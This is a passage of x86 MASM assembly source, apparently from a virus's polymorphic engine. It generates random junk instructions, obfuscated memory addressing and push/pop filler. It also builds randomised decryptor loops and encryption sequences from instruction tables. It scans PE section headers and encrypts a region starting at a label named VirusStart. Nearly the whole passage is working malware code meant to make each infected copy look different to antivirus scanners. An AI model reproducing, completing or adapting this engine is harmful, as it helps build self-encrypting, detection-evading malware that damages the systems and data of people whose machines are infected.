        Call   Get_rand_range

        
        .IF    ebx != 0
            Call   LoopLikeDecryptor
        .ELSE
            Call   MakeLoop
        .ENDIF
        And   byte ptr [ebp + _garb1_reserved],0
        ret
WaitLoop_Blk endp


CmpVal  equ esi
ModifVal equ esi+4
AddFlag  equ esi+8

MakeLoop    proc    uses esi

        sub     esp, 20
        mov     esi, esp
        mov     ecx, eax
        Call    Random32
        mov     ebx, eax
        Call    ArrangeTo8Bits?
        mov     dword ptr [CmpVal], ebx
        push    ebx
        Call    Random32
        mov     ebx, eax
        Call    ArrangeTo8Bits?
        mov     edx, ebx
        .IF     edx == 0
                add     edx, 4
        .ENDIF
        pop     ebx
        
        Call    Random32
        
        .IF     Parity?
                mov     dword ptr [AddFlag], 1
               @@:
                add     ebx, edx
                dec     ecx
                jnz     @B  
        .ELSE
                and     dword ptr [AddFlag], 0
               @@:
                sub     ebx, edx
                dec     ecx
                jnz     @B  
        .ENDIF

        mov     cl, byte ptr [ebp + garb_reg1]
        Call    MovVal;*/*
        Call    LittleBlk
        Call    Make_Random_Blk;**
        push    edi

        ;Call    LittleBlk
        Call    Make_Random_Blk_no_0_disp;**
        mov     ebx, edx
        .IF     dword ptr [AddFlag] == 1
                Call  GEN_SUB_REG32_IMM
        .ELSE
                Call  GEN_ADD_REG32_IMM
        .ENDIF
        ;Call    LittleBlk
        Call    Make_Random_Blk_no_0_disp;**
        
        mov     ebx, dword ptr [CmpVal]
        mov     cl, byte ptr [ebp + garb_reg1]
        Call    GEN_CMP_REG32_IMM
        
        pop     ebx
        sub     ebx, edi
        
        Call    GEN_JNZ_OFS
        
        add     esp, 20
        ret
MakeLoop    endp


WtLp_Called     db  0
MulFactor       dd  0
;WtlpLittleLoopMode db 0

LoopRange equ esi

LoopLikeDecryptor    proc uses ebx edx ecx esi

      sub    esp, 10
      mov    esi, esp
      mov    dword ptr [LoopRange], eax
      

      
      push   dword ptr [ebp + MulFactor]
      push   dword ptr [ebp + LoopOFS]
      push   dword ptr [ebp + CMP_Range]

        
      mov    dword ptr [ebp + MulFactor], 1         ; Init factor 1
      Call   Random32
      jp     @SimpleDec

      Call   Random32
      jp     @LargeFactor
      push   2
      pop    eax
      push   30
      pop    ecx
      Call   Get_rand_range
      jmp    @SaveFactor
     @LargeFactor:
      push   30
      pop    eax
      push   1000
      pop    ecx
      Call   Get_rand_range
     @SaveFactor:
      mov    dword ptr [ebp + MulFactor], eax
      
     @SimpleDec: 

      ;mov    eax, 300000                ;large range
      ;mov    ecx, 1000000
      ;Call   Get_rand_range

      mov     eax, dword ptr [LoopRange]
      
      mov     ecx, dword ptr [ebp + MulFactor]
      imul    eax, ecx
      
      mov     ebx,eax

      mov     cl, byte ptr [ebp + garb_reg1]
      Call    MovVal;*/*
      
      mov     dword ptr [ebp + LoopOFS], edi

      Call    Make_Random_Blk;**
      Call    ModifyKey                         ; ok
      Call    Make_Random_Blk;**

      
      
      mov     ebx, dword ptr [ebp + MulFactor]
      mov     cl,byte ptr [ebp + garb_reg1]
      
      .IF   dword ptr [ebp + MulFactor] == 1 
            ;mov     byte ptr [ebp + UseDec], 1
            CAll    GEN_DEC_REG32
            
      .ELSE
            ;mov     byte ptr [ebp + UseDec], 0
            Call    Random32
            jp      @DoWithADD
            CAll    GEN_SUB_REG32_IMM
            jmp     @SkipADD
           @DoWithADD:
            neg     ebx
            CAll    GEN_ADD_REG32_IMM
      .ENDIF
     @SkipADD:
      
      push   ecx
      xor    eax, eax
      mov    ecx, 1000
      Call   Get_rand_range
      pop    ecx  
      mov    dword ptr [ebp + CMP_Range], eax
      mov    eax, dword ptr [ebp + LoopOFS]
      CALL   MakePolyJMP  
          
      pop   dword ptr [ebp + CMP_Range]
      pop   dword ptr [ebp + LoopOFS]
      pop   dword ptr [ebp + MulFactor]
      
      add   esp, 10
      ret
LoopLikeDecryptor endp

nextmod db 0
ModifyKey proc uses ecx ebx edx
      mov    byte ptr [ebp + nextmod],3
     @@:

      Call   Random32
      mov    ebx, eax
      
      Call   LittleBlk
      xor    eax,eax
      push   CRYPTNBR ;TOTALNBR - 5     
      pop    ecx
      Call   Get_rand_range  
      lea    ecx,dword ptr [ebp + InstrTBL]
      mov    edx,dword ptr [ecx + (eax * 4)]
      
      add    edx,ebp
        
      mov    ch, byte ptr [ebp + garb_reg1]         ; WaitLoop counter is garb_reg1
      mov    cl, byte ptr [ebp + key_reg]
      Call   edx
      Call   LittleBlk
      dec    byte ptr [ebp + nextmod]
      jnz    @B
      ret
      
ModifyKey endp                  

;ModifyReg proc uses edx ebx     ; Modifie n'importe quel registre puis le restaure (meme un registre réservé)
;      Call   Get2RandRegs
;      mov    ch, cl

      
;      ret
;ModifyReg endp

;       Make memory access



_garb1_reserved  db      0
_garb2_reserved  db      0



;Mem_Reg db      0     

MovVal    proc  uses ecx ebx edx esi ; in : cl = reg to move value

        push   ecx
        Call   Make_Random_Blk;**
        
        xor    eax, eax
        push   3
        pop    ecx
        Call   Get_rand_range
        pop    ecx
        
        or     eax, eax
        jz     @IWantMov
        dec    eax
        jz     @IWantPushPop
        
        push   dword ptr [ebp + _MOD]
        push   dword ptr [ebp + _SCALE]
        push   dword ptr [ebp + Displacement]
        mov    byte ptr [ebp + _REG_OPCODE], cl;-***-
        mov    byte ptr [ebp + _MOD], 0
        mov    byte ptr [ebp + _RM], 5
        mov    dword ptr [ebp + Displacement], ebx
        CALL   GEN_LEA_REG32_DISP32
        pop    dword ptr [ebp + Displacement]
        pop    dword ptr [ebp + _SCALE]
        pop    dword ptr [ebp + _MOD]
        Call   Make_Random_Blk;**
        jmp    @F
       @IWantMov:
        Call   GEN_MOV_REG32_IMM
        Call   Make_Random_Blk;**
        jmp    @F
       @IWantPushPop:
        Call   GEN_PUSH_IMM32
        Call   Make_Random_Blk;**
        Call   GEN_POP_REG32
        Call   Make_Random_Blk;**
       @@:
        ret
MovVal    endp

NextSec dd 1
DataSectionOFS dd 0
DataSectionSize dd 0
InitMemAccess   proc                            ; Retrieves the size and the offset of data section 

       @ScanForDataSection:
        mov       ebx,dword ptr [ebp+PEheader]
        assume    ebx : ptr IMAGE_NT_HEADERS
      
        movzx esi, word ptr [ebx].FileHeader.SizeOfOptionalHeader
        lea esi, [[ebx].OptionalHeader + esi]
        
        
        movzx ecx, word ptr [[ebx].FileHeader.NumberOfSections]
        sub    ecx, dword ptr [ebp + NextSec]    ; Data section ?
        jecxz @NotFound
        push  ecx
        imul  ecx,ecx,sizeof IMAGE_SECTION_HEADER
        add   esi,ecx                            ; go in data section
        pop   ecx

        
        assume esi:ptr IMAGE_SECTION_HEADER

        inc     dword ptr [ebp + NextSec]  
              
	  test	[esi].Characteristics, IMAGE_SCN_CNT_INITIALIZED_DATA or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
        jz      @ScanForDataSection

        mov    dword ptr [ebp + NextSec],1
        

        mov    ebx, [ebx].OptionalHeader.ImageBase
        add    ebx, [esi].VirtualAddress

        mov    dword ptr [ebp + DataSectionOFS], ebx    ; save VirtualOffset
        mov    eax, [esi].Misc.VirtualSize
        mov    dword ptr [ebp + DataSectionSize], eax
        
        
        ;Call    GetRandomDataOFS
        
@NotFound:
        ret
InitMemAccess   endp

;ActualMemRange  dd 0

GetRandomDataOFS    proc uses ecx

        mov    ebx, dword ptr [ebp + DataSectionOFS]
        mov    eax, ebx
        mov    ecx, dword ptr [ebp + DataSectionSize]
        add    ecx, ebx
        sub    ecx, 4
        Call   Get_rand_range
        ;Mov    dword ptr [ebp + ActualMemRange], eax
        mov    ebx, eax
        ret
        
GetRandomDataOFS endp        
           ; Mode 


X dd ?
EncodeMemLocation  proc  uses edx ecx  ; in : ebx = Real memory address to encode
                                       ; in : cl _REG_OPCODE or OPCODE INFO
                                       ; out : Mod/Rm_Sib = right encodings

        .IF    word ptr [ebp + _garb1_reserved] != 0
            ;.IF     byte ptr [ebp + _garb2_reserved] != 0
                ret                                             ; Return if our regs are reserved
            ;.ENDIF
        .ENDIF
        
        mov    dword ptr [ebp + Displacement], ebx
        
        mov    byte ptr [ebp + _REG_OPCODE], cl    ; must be garb_reg3!
        
        xor    eax, eax
        push   3
        pop    ecx
        Call   Get_rand_range         
        mov    byte ptr [ebp + _MOD], al            ; mode of encoding
        


        
        xor    eax, eax
        push   4
        pop    ecx
        Call   Get_rand_range    


        mov    byte ptr [ebp + _SCALE], al
        

        
        mov    cl, byte ptr [ebp + garb_reg1]
        inc    byte ptr [ebp + _garb1_reserved]  

         Call   Random32
         jp     @F
         mov    cl, 4     ; 1/2
       @@:

         mov    byte ptr [ebp + _RM],cl
       
        .IF    byte ptr [ebp + _MOD] == 0 

                     
               .IF        cl == 5
                                    ; Do nothing
                                    
               .ELSEIF    cl == 4   ; MODRM+SIB disp32
               

                    Call   Random32
                    mov    ebx, eax
                                        
                    mov    cl, byte ptr [ebp + garb_reg2]
                    
                    mov    byte ptr [ebp + _BASE], cl
                    inc    byte ptr [ebp + _garb2_reserved]
                    
                    .IF    cl == 5              ; INDEX * SCALE + Disp32 (No BASE)
                    

                        mov    cl, byte ptr [ebp + _SCALE]
                        shl    ebx, cl
                        sub    dword ptr [ebp + Displacement], ebx
                        sar    ebx, cl
                        
                        mov    cl, byte ptr [ebp + garb_reg1]
                        mov    byte ptr [ebp + _INDEX],cl
                        
                        Call   MovVal      
                        ;;;;Call   GEN_MOV_REG32_IMM       
                        
                    .ELSE                   ; BASE + INDEX * SCALE (No disp)
                    
        ; Algo : 404001  = a - b
        ; 
        ; a = 404001+X
        ; b = X
        ; a = 404001+12345678  ; this number will be divisible by scale
        ; b = 12345678


                        

                        Call   Random32
                        push   ecx
                        mov    cl, byte ptr [ebp + _SCALE]
                        shl    eax, cl
                        pop    ecx
                        mov    dword ptr [ebp + X], eax
                        mov    eax, dword ptr [ebp + Displacement]
                        add    eax, dword ptr [ebp + X]
                        mov    ebx, eax

                        Call   MovVal
                        ;;;;Call   GEN_MOV_REG32_IMM


                        

                        mov    eax, dword ptr [ebp + X]
                        mov    cl, byte ptr [ebp + _SCALE]
                        sar    eax, cl
                        mov    cl, byte ptr [ebp + garb_reg1]
                        mov    byte ptr [ebp + _INDEX],cl
                        neg    eax
                        mov    ebx, eax
                        ;;;;Call   GEN_MOV_REG32_IMM
                        Call   MovVal
                        

                    .ENDIF
                    
               .ELSE            ; Single [REG32]

                    
                    mov    ebx, dword ptr [ebp + Displacement]
                    Call   MovVal  
                    ;;;;Call   GEN_MOV_REG32_IMM
           
               .ENDIF
                       
               
        .ELSEIF byte ptr [ebp + _MOD] == 1
        

               push   ecx
               push   -80h
               pop    eax
               push   80h
               pop    ecx
               Call   Get_rand_range
               mov    ebx,eax
               pop    ecx
               

                     
                .IF  cl ==  4                       ; BASE + INDEX * SCALE + Disp
                    ShitEncode:
                     mov    cl, byte ptr [ebp + garb_reg2]
                     mov    byte ptr [ebp + _BASE], cl
                     inc    byte ptr [ebp + _garb2_reserved]
                     

                      mov    edx, ebx
                      Call   Random32
                      push   ecx
                      mov    cl, byte ptr [ebp + _SCALE]
                      shl    eax, cl
                      pop    ecx
                      mov    dword ptr [ebp + X], eax
                      mov    eax, dword ptr [ebp + Displacement]
                      add    eax, dword ptr [ebp + X]
                      sub    eax, edx
                      mov    ebx, eax
                      mov    dword ptr [ebp + Displacement], edx   
                      Call   MovVal
                      ;;;;Call   GEN_MOV_REG32_IMM
  
  
                      mov    eax, dword ptr [ebp + X]
                      mov    cl, byte ptr [ebp + _SCALE]
                      sar    eax, cl
                      mov    cl, byte ptr [ebp + garb_reg1]
                      mov    byte ptr [ebp + _INDEX],cl
                      neg    eax
                      mov    ebx, eax
                      Call   MovVal
                      ;;;;Call   GEN_MOV_REG32_IMM   
                      jmp    ExitHideMem                        
                     
                .ELSE                           ; RM + Disp8
                
                  ShitEncode2:
                      mov     eax, dword ptr [ebp + Displacement] 
                      sub     eax, ebx
                      mov     dword ptr [ebp + Displacement], ebx                      
                      xchg    eax, ebx
                      Call   MovVal
                      ;;;;Call   GEN_MOV_REG32_IMM
                      jmp    ExitHideMem
                                      
                .ENDIF
                
        .ELSEIF byte ptr [ebp + _MOD] == 2

    
               Call   GetRandomDataOFS

               
                .IF  cl ==  4                       ; SIB follow
                    
                        jmp   ShitEncode
                        
                .ELSE
                
                        jmp   ShitEncode2
                        
                .ENDIF    
                    
        .ENDIF
               

ExitHideMem:
        
        and    word ptr [ebp + _garb1_reserved], 0
        ret
EncodeMemLocation  endp

_MOD            db      0   
_REG_OPCODE     db      0
_RM             db      0              ; Register/Memory ([0-7])
_dummy          db      0

MOD_SIMPLE_MEM  equ 00b        
MOD_DISP8       equ 01b
MOD_DISP32      equ 10b
MOD_SIMPLE_REG  equ 11b

RM4_SIB_FOLLOW  equ  100b

SCALE_x2        equ     1b
SCALE_x4        equ     10b
SCALE_x8        equ     11b

Displacement    dd      0

_SCALE          db      0
_INDEX          db      0
_BASE           db      0
_dummy2         db      0

SIB_USED        equ 1
MODRM_USED      equ 1
;-----------------
;ModRM   db      0
;SIB     db      0               ; Scale Index Base
;-----------------

EncodeModRM_SIB proc  uses edx ecx
        
       ; movzx   eax, word ptr [ebp + ModRM]
       ; or      eax, eax
       ; jnz     @F                               ; Besoin de ModRM et de SIB ?
       ; ret                                     
       ;@@: 
          
        xor     eax, eax
        
        mov     ah, byte ptr [ebp + _RM] 
        shr     eax, 3
        mov     dl, byte ptr [ebp + _REG_OPCODE]
        or      ah, dl
        shr     eax, 3
        mov     dl, byte ptr [ebp + _MOD]
        or      ah, dl
        shr     eax, 2
        .IF     byte ptr [ebp + _RM]  == 4  ; Encode SIB
            xor     ecx, ecx
            
            mov     ch, byte ptr [ebp + _BASE]
            shr     ecx, 3
            mov     dl, byte ptr [ebp + _INDEX]
            or      ch, dl
            shr     ecx, 3
            mov     dl, byte ptr [ebp + _SCALE]
            or      ch, dl
            shr     ecx, 2
            mov     ah, cl
            stosw
            jmp     @F
        .ELSE
            stosb
        .ENDIF
       @@:
        
        mov    dl, byte ptr [ebp + _MOD]
        
        .IF    byte ptr [ebp + _BASE] == 5  &&  byte ptr [ebp + _RM] == 4
        
            .IF    dl   ==  0               ; NO BASE
               mov    eax, dword ptr [ebp + Displacement]
               stosd 
            .ELSEIF dl  ==   1              ; EBP
               mov    al, byte ptr [ebp + Displacement]
               stosb 
            .ELSEIF dl  ==   2              ; EBP
               mov    eax, dword ptr [ebp + Displacement]
               stosd 
            .ENDIF
            
        .ELSE

            .IF    dl == 0 
                   cmp    byte ptr [ebp + _RM], 5
                   jnz    @F
                   mov    eax, dword ptr [ebp + Displacement]
                   stosd 
            .ELSEIF dl == 1 
                   mov    al, byte ptr [ebp + Displacement]
                   stosb 
            .ELSEIF dl == 2
                   mov    eax, dword ptr [ebp + Displacement]
                   stosd 
            .ENDIF

       .ENDIF
       @@:

                           
        ;and     word ptr [ebp + ModRM],0         ; Reset ModRM & SIB
        and     dword ptr [ebp + _MOD],0
        and     dword ptr [ebp + _SCALE],0
        and     dword ptr [ebp + Displacement],0
        ret
EncodeModRM_SIB endp





;       Make {Push shit [...] push REG32  / POP REG32 / retn XXXX [...] POP SHITREG32} struct


push_pop_recursion_level db 0
;What2Do         dd 0 
Push_Pop_blk    proc

        inc     byte ptr [ebp+push_pop_recursion_level]
        cmp     byte ptr [ebp+push_pop_recursion_level],02
        jae     ExitPushPop
        
        push   ecx
        push   edx

        
        xor    eax,eax
        inc    eax
        push   7                           
        pop    ecx
        Call   Get_rand_range  

        mov    edx,eax
        push   edx       
        CALL   MakePUSHES
        Call   LittleBlk
        pop    edx
        

        CALL   MakePOPS

        pop    edx
        pop    ecx
        
        and    byte ptr [ebp+push_pop_recursion_level], 0
       ExitPushPop:
        
        ret
Push_Pop_blk    endp

MakePUSHES:

        push   edx
       

        Call   Random32
        jp     @F

        Call   Random32
        mov    ebx,eax
        Call   ArrangeTo8Bits?

        Call   LittleBlk
        CALL   GEN_PUSH_IMM32 
        Jmp    ContPushes    
        
       @@:
        
        Call   LittleBlk
        Call   Random32
        and    eax,7        
        mov    ecx,eax
        CALL   GEN_PUSH_REG32 

        
       ContPushes:
        pop    edx 
        dec    edx
        jnz    MakePUSHES
        
        ret

MakePOPS:
        
        Call   Random32
        and    eax,07Fh
        jnz    @SkipStackAdjust
        
        push   ebx
        
        mov    ebx,edx
        shl    ebx,2
        
        Call   Random32
        mov    cl,4
        jp     @F
        CALL   GEN_ADD_REG32_IMM
        pop    ebx
        ret
       @@:
        neg    ebx
        CALL   GEN_SUB_REG32_IMM
        pop    ebx
        ret
       @SkipStackAdjust:
       
        push   edx
        Call   LittleBlk
        CALL   Get2ValidAuxRegs
        CALL   GEN_POP_REG32 
        pop    edx
        dec    edx
        jnz    MakePOPS
        ret    
                
         ;--------------------------------------- CRYPT ONLY --------------------
InstrTBL          dd OFFSET GEN_ADD_REG32_IMM;--- 
                  dd OFFSET GEN_XOR_REG32_IMM
                  dd OFFSET GEN_SUB_REG32_IMM 
                  dd OFFSET GEN_ADD_REG32_IMM 
                  dd OFFSET GEN_XOR_REG32_IMM
                  dd OFFSET GEN_SUB_REG32_IMM;---    


                  dd OFFSET GEN_16BITS_OPC
                  
                  dd OFFSET GEN_ADD_REG32_REG32             ; 1
                  dd OFFSET GEN_XOR_REG32_REG32
                  dd OFFSET GEN_SUB_REG32_REG32
                  dd OFFSET GEN_ADD_REG32_REG32             ; 1
                  dd OFFSET GEN_XOR_REG32_REG32
                  dd OFFSET GEN_SUB_REG32_REG32
                  
                  dd OFFSET GEN_IMUL_REG32_REG32_IMM
                  dd OFFSET GEN_IMUL_REG32_REG32
                  ; 
                  dd OFFSET GEN_ROR_REG32_IMM8         ; 9
                  dd OFFSET GEN_ROL_REG32_IMM8 

                  dd OFFSET GEN_BSWAP_REG32
                  dd OFFSET GEN_NEG_REG32
                  dd OFFSET GEN_NOT_REG32 
                  dd OFFSET GEN_DEC_REG32;-
                  dd OFFSET GEN_INC_REG32
                  dd OFFSET GEN_DEC_REG32
                  dd OFFSET GEN_INC_REG32;-                                     

                                    
 CRYPTNBR         = (OFFSET $ - OFFSET InstrTBL) / 4
                  ;--------------------------------------- GARBAGE ONLY --------------------
                  dd OFFSET GEN_ADC_REG32_REG32
                  dd OFFSET GEN_SBB_REG32_REG32    
                  dd OFFSET GEN_AND_REG32_REG32   
                  dd OFFSET GEN_AND_REG32_IMM32
                  dd OFFSET GEN_ADC_REG32_IMM32
                  dd OFFSET GEN_SBB_REG32_IMM32

                  dd OFFSET GEN_MOV_REG32_REG32                                 
                  dd OFFSET GEN_MOV_REG32_IMM    
                  dd OFFSET GEN_MOV_REG32_REG32                                 
                  dd OFFSET GEN_MOV_REG32_IMM  
                  dd OFFSET GEN_MOV_REG32_REG32                                 
                  dd OFFSET GEN_MOV_REG32_IMM  
                  dd OFFSET GEN_MOV_REG32_REG32                                 
                  dd OFFSET GEN_MOV_REG32_IMM                      


                  
                  dd OFFSET GEN_MOVZX_REG32_REG8
                  dd OFFSET GEN_MOVSX_REG32_REG8


                  ;dd OFFSET GEN_DIV_REG32   ; Pb Exception division par 0   
                  ;dd OFFSET GEN_IDIV_REG32  ;         
                  dd OFFSET GEN_OR_REG32_REG32      
                  dd OFFSET GEN_OR_REG32_IMM32 


                  dd OFFSET GEN_ADD_REG8_REG8             
                  dd OFFSET GEN_XOR_REG8_REG8
                  dd OFFSET GEN_SUB_REG8_REG8
                  dd OFFSET GEN_ADD_REG8_IMM 
                  dd OFFSET GEN_XOR_REG8_IMM
                  dd OFFSET GEN_SUB_REG8_IMM 

                  
                  dd OFFSET GEN_ROT_STUFF
                  dd OFFSET GEN_ROT_STUFF
                  dd OFFSET GEN_ROT_STUFF
                   
                           
                  ;dd OFFSET GEN_ONEBYTE
                  
                  ;dd OFFSET GEN_IMUL_REG32         ; enlevé : change la valeur de EDX
                  ;dd OFFSET GEN_MUL_REG32

                  dd OFFSET GEN_INC_REG8        
                  dd OFFSET GEN_DEC_REG8

MEMSTART          equ   $                  
                  dd OFFSET GEN_LEA_REG32_DISP32
                  dd OFFSET GEN_LEA_REG32_DISP32
                  dd OFFSET GEN_LEA_REG32_DISP32
                  dd OFFSET GEN_LEA_REG32_DISP32
                  dd OFFSET GEN_LEA_REG32_DISP32
                  dd OFFSET GEN_LEA_REG32_DISP32
                  dd OFFSET GEN_LEA_REG32_DISP32
                  dd OFFSET GEN_LEA_REG32_DISP32
                                                 
                  dd OFFSET GEN_XADD_REG32_REG32
                  dd OFFSET GEN_XCHG_REG32_REG32    ; Ne pas déplacer / do not move this one
MEMEND            equ   $                  
MEMSTARTNBR       = (($ - OFFSET InstrTBL) / 4 ) - (( MEMEND - OFFSET MEMSTART) / 4)                                      
TOTALNBR          = (OFFSET $ - OFFSET InstrTBL) / 4   
     
;CRYPTNBR          = 14
;TOTALNBR          = 39





;XORED              dd   0
                
CryptSeq:



        push   3
        pop    eax
        push   17
        pop    ecx
        Call   Get_rand_range  
        mov    dword ptr [ebp + CryptInstrNbr],eax
        
        xor    eax,eax
        inc    eax
        push   dword ptr [ebp + CryptInstrNbr]
        pop    ecx
        Call   Get_rand_range  
        mov    dword ptr [ebp + Make_XOR_KEY],eax        

    @GenCryptorOPCODE:


        Call   Random32
        mov    ebx,eax
        Call   ArrangeTo8Bits?
        
        xor    eax,eax
        push   CRYPTNBR                             
        pop    ecx
        Call   Get_rand_range  
        
        ;;;;;;;;;;;;;;;;;;;
        ;
        lea    edx,dword ptr [ebp + InstrTBL]
        mov    edx,dword ptr [edx + (eax * 4)]
        add    edx,ebp  
        ;;;;;;;;;;;;;;;;;;;


        
        mov    ch,byte ptr [ebp + counter_reg]
        mov    cl,byte ptr [ebp + key_reg]  
        
              

        ;--------------------------------------------------------------
        Call   edx 

        Call   Make_Random_Blk;-**-
       
        ;xor    eax,eax
        ;push   13                ; 1/13
        ;pop    ecx
        ;Call   Get_rand_range  
        ;dec    eax
        ;jnz    @F

        ;xor    eax,eax
        ;push   OneSize
        ;pop    ecx
        ;Call   Get_rand_range  

        ;mov    al,byte ptr [eax+ebp+OneByte]
        ;stosb
                
        ;@@:
        
        dec    dword ptr [ebp + Make_XOR_KEY]

        jnz    @CryptNext


    @Mk_xor_key:
        mov    ch,byte ptr [ebp + key_reg]
        mov    cl,byte ptr [ebp + cypher_reg]       
        Call   GEN_XOR_REG32_REG32




      @CryptNext:

        
        dec    dword ptr [ebp + CryptInstrNbr]
        jnz    @GenCryptorOPCODE
        
        
        ret

ROT_TBL           dd OFFSET GEN_SHLD_REG32_REG32_CL
                  dd OFFSET GEN_SHRD_REG32_REG32_CL
                  dd OFFSET GEN_SAR_REG32_CL
                  dd OFFSET GEN_SHL_REG32_CL
                  dd OFFSET GEN_SHR_REG32_CL
                  dd OFFSET GEN_RCL_REG32_CL
                  dd OFFSET GEN_RCR_REG32_CL
                  dd OFFSET GEN_ROL_REG32_CL
                  dd OFFSET GEN_ROR_REG32_CL
                  dd OFFSET GEN_SHRD_REG32_REG32_IMM8
                  dd OFFSET GEN_SHLD_REG32_REG32_IMM8
                  
                  dd OFFSET GEN_RCR_REG32_IMM8         
                  dd OFFSET GEN_RCL_REG32_IMM8 
                  dd OFFSET GEN_SAR_REG32_IMM8
                  dd OFFSET GEN_SHR_REG32_IMM8
                  dd OFFSET GEN_SHL_REG32_IMM8  
                  
ROT_NBR          = (OFFSET $ - OFFSET ROT_TBL) / 4 
  
GEN_ROT_STUFF proc uses edx ecx
        push    ecx
        xor     eax, eax
        push    ROT_NBR
        pop     ecx
        Call    Get_rand_range  
        pop     ecx
        lea     edx, dword ptr [ebp + ROT_TBL]
        mov     edx, dword ptr [edx + (eax * 4)]
        add     edx, ebp
        call    edx
        ret
GEN_ROT_STUFF endp

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CryptInstrNbr   dd 0                    ; Number of cryptologic instructions
Make_XOR_KEY    dd 0                    ; if 0 make xor cypher_reg, key_reg
SafeSeq         dd OFFSET GEN_ADD_REG32_IMM


Save_regs proc

        mov dword ptr [ebp + REG_EAX],eax
        mov dword ptr [ebp + REG_ECX],ecx
        mov dword ptr [ebp + REG_EDX],edx
        mov dword ptr [ebp + REG_EBX],ebx
        mov dword ptr [ebp + REG_ESI],esi
        mov dword ptr [ebp + REG_EDI],edi

        ret
Save_regs endp

Restore_regs proc

        mov eax,dword ptr [ebp + REG_EAX]
        mov ecx,dword ptr [ebp + REG_ECX]
        mov edx,dword ptr [ebp + REG_EDX]
        mov ebx,dword ptr [ebp + REG_EBX]
        mov esi,dword ptr [ebp + REG_ESI]
        mov edi,dword ptr [ebp + REG_EDI]
        
        ret
        
Restore_regs endp

;ReturnAddr dd 0

SetSeq proc

        and    byte ptr [ebp + CryptBackward],0      ; Default scan foreward

        Call   Random32
        jp     @F
        inc    byte ptr [ebp + CryptBackward]       ; scan backward
       @@:
       
     _SEQNEXT:
        xor    eax,eax
        push   6                  ; 6 Sequences
        pop    ecx
        Call   Get_rand_range     ; Random instruction Sequence

        
        or     eax,eax
        jz     _SEQ1
        dec    eax
        jz     _SEQ2
        dec    eax
        jz     _SEQ3
        dec     eax
        jz     _SEQ4
        dec    eax
        jz     _SEQ5
        dec    eax
        jz     _SEQ6

        
    _SEQ1:
        CALL @@PC_SEQBASE
        CALL @@PC_SEQSIZE
        CALL @@PC_SEQKEY
        jmp  _SEQEXIT     
    _SEQ2:
    
        CALL @@PC_SEQBASE
        CALL @@PC_SEQKEY         
        CALL @@PC_SEQSIZE
        jmp  _SEQEXIT            
    _SEQ3:
    
        CALL @@PC_SEQSIZE
        CALL @@PC_SEQBASE
        CALL @@PC_SEQKEY         
        jmp  _SEQEXIT     
    _SEQ4:

        CALL @@PC_SEQSIZE
        CALL @@PC_SEQKEY          
        CALL @@PC_SEQBASE
        jmp  _SEQEXIT               
    _SEQ5:
    
        CALL @@PC_SEQKEY  
        CALL @@PC_SEQSIZE
        CALL @@PC_SEQBASE        
        jmp  _SEQEXIT     
    _SEQ6:   
        CALL @@PC_SEQKEY  
        CALL @@PC_SEQBASE  
        CALL @@PC_SEQSIZE         

 _SEQEXIT:            
        .IF    byte ptr [ebp + WtLp_Called] == 0
               Call   Make_Random_Blk;-**-
               Call    WaitLoop_Blk
               Call   Make_Random_Blk;-**-   
               inc     byte ptr [ebp + WtLp_Called]  
        .ENDIF
        
        mov   dword ptr [ebp + LoopOFS],edi
        ;Call  CryptSeq
        ;Call  LittleBlk                   ; put garb
        ret
        

   
SetSeq endp  

CallWaitLoop?   proc uses ecx


        xor    eax,eax
        push   3
        pop    ecx
        Call   Get_rand_range 
        or     eax, eax
        jnz    @F
        .IF    byte ptr [ebp + WtLp_Called] == 0
               Call   Make_Random_Blk;-**-
               Call   WaitLoop_Blk
               Call   Make_Random_Blk;-**-   
               inc     byte ptr [ebp + WtLp_Called]  
        .ENDIF
       @@:
        ret
CallWaitLoop?   endp

CryptBackward    db  0

;=========  =========  =========  =========  [BASE] =========  =========  =========  =========      
@@PC_SEQBASE:

        Call   CallWaitLoop?
        
        mov    eax,edi
        inc    eax
        mov    dword ptr [ebp + BaseOFS],eax

        

        mov    ebx, OFFSET VirusStart ;
        ;mov     ebx, dword ptr [ebp + What2encrypt];::
        ;sub     ebx, dword ptr [ebp + @Delta];::
        ;add    ebx, dword ptr [ebp + RVA_What2encrypt]
        ;sub    ebx, ebp
        
        .IF    byte ptr [ebp + CryptBackward]  != 0
               add    ebx, dword ptr [ebp + SizeOfWhat2encrypt]
               inc    ebx
        .ENDIF
       
        Call   HideConst

        xor    eax,eax
        push   3
        pop    ecx
        Call   Get_rand_range 



        mov    cl,byte ptr [ebp + base_reg]        
        
        or     eax,eax
        jz     @PC_BASE_PUSHPOP
        
        dec    eax
        jz     @PC_BASE_LEA

    @PC_BASE_MOV:  

        CALL   GEN_MOV_REG32_IMM
        Call   Make_Random_Blk;**
        mov    cl,byte ptr [ebp + base_reg]
        Call   RestConst 
        Call   Make_Random_Blk;**

        ret

    @PC_BASE_PUSHPOP:

        CALL   GEN_PUSH_IMM32
        Call   Make_Random_Blk;**
        CALL   GEN_POP_REG32
        Call   Make_Random_Blk;**
        mov    cl,byte ptr [ebp + base_reg]
        Call   RestConst 
        Call   Make_Random_Blk;**

        ret
        
    @PC_BASE_LEA:


        inc    dword ptr [ebp + BaseOFS]            ; because LEA takes one byte more
        mov    byte ptr [ebp + _REG_OPCODE], cl;-***-
        mov    byte ptr [ebp + _MOD], 0
        mov    byte ptr [ebp + _RM], 5
        mov    dword ptr [ebp + Displacement], ebx
        CALL   GEN_LEA_REG32_DISP32
        Call   Make_Random_Blk;**
        mov    cl,byte ptr [ebp + base_reg]
        Call   RestConst 
        Call   Make_Random_Blk;** 
        ret
         
        CMP_Range       dd      0
;=========  =========  =========  ========= [SIZE] =========  =========  =========  =========        
@@PC_SEQSIZE:

        Call   CallWaitLoop?
        
        mov    ebx, dword ptr [ebp + SizeOfWhat2encrypt]   
        shr    ebx,2
        inc    ebx
        inc    ebx
        and    dword ptr [ebp + CMP_Range],0

        ;.IF    byte ptr [ebp + CryptBackward]  == 0
      
              
        ;      xor    eax,eax
        ;      push   30
        ;      pop    ecx
        ;      Call   Get_rand_range 
      
        ;      mov    dword ptr [ebp + CMP_Range],eax
        ;      
        ;      add    ebx,eax                          ; make size different
        ;
        ;.ENDIF
       
        Call   HideConst
 

        xor    eax,eax
        push   3
        pop    ecx
        Call   Get_rand_range 
        
        mov    cl,byte ptr [ebp + counter_reg]
        
 
  
        or     eax,eax
        jz     @PC_SIZE_MOV

        dec    eax
        jz     @PC_SIZE_LEA
    @PC_SIZE_PUSHPOP:

        CALL   GEN_PUSH_IMM32
        Call   Make_Random_Blk;**
